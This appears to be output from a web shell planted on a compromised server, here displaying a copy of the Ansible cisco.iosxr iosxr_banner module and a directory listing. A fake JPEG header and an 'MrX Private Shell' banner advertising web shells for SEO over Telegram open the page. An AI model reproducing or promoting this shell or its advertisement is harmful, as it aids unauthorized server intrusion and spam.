����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright: (c) 2017, Ansible by Red Hat, inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = """
module: iosxr_banner
author:
- Trishna Guha (@trishnaguha)
- Kedar Kekan (@kedarX)
short_description: Module to configure multiline banners.
description:
- This module will configure both exec and motd banners on remote device running Cisco
IOS XR. It allows playbooks to add or remove banner text from the running configuration.
version_added: 1.0.0
requirements:
- ncclient >= 0.5.3 when using netconf
- lxml >= 4.1.1 when using netconf
extends_documentation_fragment:
- cisco.iosxr.iosxr
notes:
- This module works with connection C(network_cli) and C(netconf). See L(the IOS-XR
Platform Options,../network/user_guide/platform_iosxr.html).
options:
banner:
description:
- Specifies the type of banner to configure on remote device.
required: true
type: str
choices:
- login
- motd
text:
description:
- Banner text to be configured. Accepts multi line string, without empty lines.
When using a multi line string, the first and last characters must be the
start and end delimiters for the banner
Requires I(state=present).
type: str
state:
description:
- Existential state of the configuration on the device.
default: present
type: str
choices:
- present
- absent
"""
EXAMPLES = """
- name: configure the login banner
cisco.iosxr.iosxr_banner:
banner: login
text: |
@this is my login banner
that contains a multiline
string@
state: present
- name: remove the motd banner
cisco.iosxr.iosxr_banner:
banner: motd
state: absent
- name: Configure banner from file
cisco.iosxr.iosxr_banner:
banner: motd
text: "{{ lookup('file', './config_partial/raw_banner.cfg') }}"
state: present
"""
RETURN = """
commands:
description: The list of configuration mode commands sent to device with transport C(cli)
returned: always (empty list when no commands to send)
type: list
sample:
- banner login
- "@this is my login banner"
- that contains a multiline
- string@
xml:
description: NetConf rpc xml sent to device with transport C(netconf)
returned: always (empty list when no xml rpc to send)
type: list
sample:
- '<config xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0">
<banners xmlns="http://cisco.com/ns/yang/Cisco-IOS-XR-infra-infra-cfg">
<banner xc:operation="merge">
<banner-name>motd</banner-name>
<banner-text>Ansible banner example</banner-text>
</banner>
</banners>
</config>'
"""
import collections
import re
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.iosxr.plugins.module_utils.network.iosxr.iosxr import (
build_xml,
etree_find,
get_config,
is_cliconf,
is_netconf,
load_config,
)
class ConfigBase(object):
def __init__(self, module):
self._module = module
self._result = {"changed": False, "warnings": []}
self._want = {}
self._have = {}
def map_params_to_obj(self):
text = self._module.params["text"]
if text:
text = "{0}".format(str(text).strip())
self._want.update(
{
"banner": self._module.params["banner"],
"text": text,
"state": self._module.params["state"],
},
)
class CliConfiguration(ConfigBase):
def __init__(self, module):
super(CliConfiguration, self).__init__(module)
def map_obj_to_commands(self):
commands = list()
state = self._module.params["state"]
if state == "absent":
if self._have.get("state") != "absent" and (
"text" in self._have.keys() and self._have["text"]
):
commands.append("no banner {0!s}".format(self._module.params["banner"]))
elif state == "present":
if self._want["text"] and self._want["text"].encode().decode(
"unicode_escape",
) != self._have.get("text"):
banner_cmd = "banner {0!s} ".format(self._module.params["banner"])
banner_cmd += self._want["text"].strip()
commands.append(banner_cmd)
self._result["commands"] = commands
if commands:
commit = not self._module.check_mode
diff = load_config(self._module, commands, commit=commit)
if diff:
self._result["diff"] = dict(prepared=diff)
self._result["changed"] = True
def map_config_to_obj(self):
cli_filter = "banner {0!s}".format(self._module.params["banner"])
output = get_config(self._module, config_filter=cli_filter)
match = re.search(r"banner (\S+) (.*)", output, re.DOTALL)
if match:
text = match.group(2)
else:
text = None
obj = {"banner": self._module.params["banner"], "state": "absent"}
if output:
obj["text"] = text
obj["state"] = "present"
self._have.update(obj)
def run(self):
self.map_params_to_obj()
self.map_config_to_obj()
self.map_obj_to_commands()
return self._result
class NCConfiguration(ConfigBase):
def __init__(self, module):
super(NCConfiguration, self).__init__(module)
self._banners_meta = collections.OrderedDict()
self._banners_meta.update(
[
("banner", {"xpath": "banners/banner", "tag": True, "attrib": "operation"}),
("a:banner", {"xpath": "banner/banner-name"}),
("a:text", {"xpath": "banner/banner-text", "operation": "edit"}),
],
)
def map_obj_to_xml_rpc(self):
state = self._module.params["state"]
_get_filter = build_xml(
"banners",
xmap=self._banners_meta,
params=self._module.params,
opcode="filter",
)
running = get_config(self._module, source="running", config_filter=_get_filter)
banner_name = None
banner_text = None
if etree_find(running, "banner-text") is not None:
banner_name = etree_find(running, "banner-name").text
banner_text = etree_find(running, "banner-text").text
opcode = None
if state == "absent" and banner_name == self._module.params["banner"] and len(banner_text):
opcode = "delete"
elif state == "present":
opcode = "merge"
self._result["xml"] = []
if opcode:
_edit_filter = build_xml(
"banners",
xmap=self._banners_meta,
params=self._module.params,
opcode=opcode,
)
if _edit_filter is not None:
commit = not self._module.check_mode
diff = load_config(
self._module,
_edit_filter,
commit=commit,
running=running,
nc_get_filter=_get_filter,
)
if diff:
self._result["xml"] = _edit_filter
if self._module._diff:
self._result["diff"] = dict(prepared=diff)
self._result["changed"] = True
def run(self):
self.map_params_to_obj()
self.map_obj_to_xml_rpc()
return self._result
def main():
"""main entry point for module execution"""
argument_spec = dict(
banner=dict(required=True, choices=["login", "motd"]),
text=dict(),
state=dict(default="present", choices=["present", "absent"]),
)
required_if = [("state", "present", ("text",))]
module = AnsibleModule(
argument_spec=argument_spec,
required_if=required_if,
supports_check_mode=True,
)
config_object = None
if is_cliconf(module):
# Commenting the below cliconf deprecation support call for Ansible 2.9 as it'll be continued to be supported
config_object = CliConfiguration(module)
elif is_netconf(module):
config_object = NCConfiguration(module)
result = None
if config_object is not None:
result = config_object.run()
module.exit_json(**result)
if __name__ == "__main__":
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| iosxr_acl_interfaces.py | File | 15.22 KB | 0644 |
|
| iosxr_acls.py | File | 50.21 KB | 0644 |
|
| iosxr_banner.py | File | 8.44 KB | 0644 |
|
| iosxr_bgp.py | File | 11.06 KB | 0644 |
|
| iosxr_bgp_address_family.py | File | 30.73 KB | 0644 |
|
| iosxr_bgp_global.py | File | 47.22 KB | 0644 |
|
| iosxr_bgp_neighbor_address_family.py | File | 36.8 KB | 0644 |
|
| iosxr_command.py | File | 7.14 KB | 0644 |
|
| iosxr_config.py | File | 17.55 KB | 0644 |
|
| iosxr_facts.py | File | 6.21 KB | 0644 |
|
| iosxr_hostname.py | File | 8.13 KB | 0644 |
|
| iosxr_interfaces.py | File | 14.49 KB | 0644 |
|
| iosxr_l2_interfaces.py | File | 17.13 KB | 0644 |
|
| iosxr_l3_interfaces.py | File | 16.16 KB | 0644 |
|
| iosxr_lacp.py | File | 8.2 KB | 0644 |
|
| iosxr_lacp_interfaces.py | File | 14.89 KB | 0644 |
|
| iosxr_lag_interfaces.py | File | 20.32 KB | 0644 |
|
| iosxr_lldp_global.py | File | 10.7 KB | 0644 |
|
| iosxr_lldp_interfaces.py | File | 16.03 KB | 0644 |
|
| iosxr_logging.py | File | 42.13 KB | 0644 |
|
| iosxr_logging_global.py | File | 40.38 KB | 0644 |
|
| iosxr_netconf.py | File | 5.81 KB | 0644 |
|
| iosxr_ntp_global.py | File | 32.24 KB | 0644 |
|
| iosxr_ospf_interfaces.py | File | 36 KB | 0644 |
|
| iosxr_ospfv2.py | File | 75.92 KB | 0644 |
|
| iosxr_ospfv3.py | File | 93.3 KB | 0644 |
|
| iosxr_ping.py | File | 4.47 KB | 0644 |
|
| iosxr_prefix_lists.py | File | 33.67 KB | 0644 |
|
| iosxr_snmp_server.py | File | 75.22 KB | 0644 |
|
| iosxr_static_routes.py | File | 26.58 KB | 0644 |
|
| iosxr_system.py | File | 26.93 KB | 0644 |
|
| iosxr_user.py | File | 34.18 KB | 0644 |
|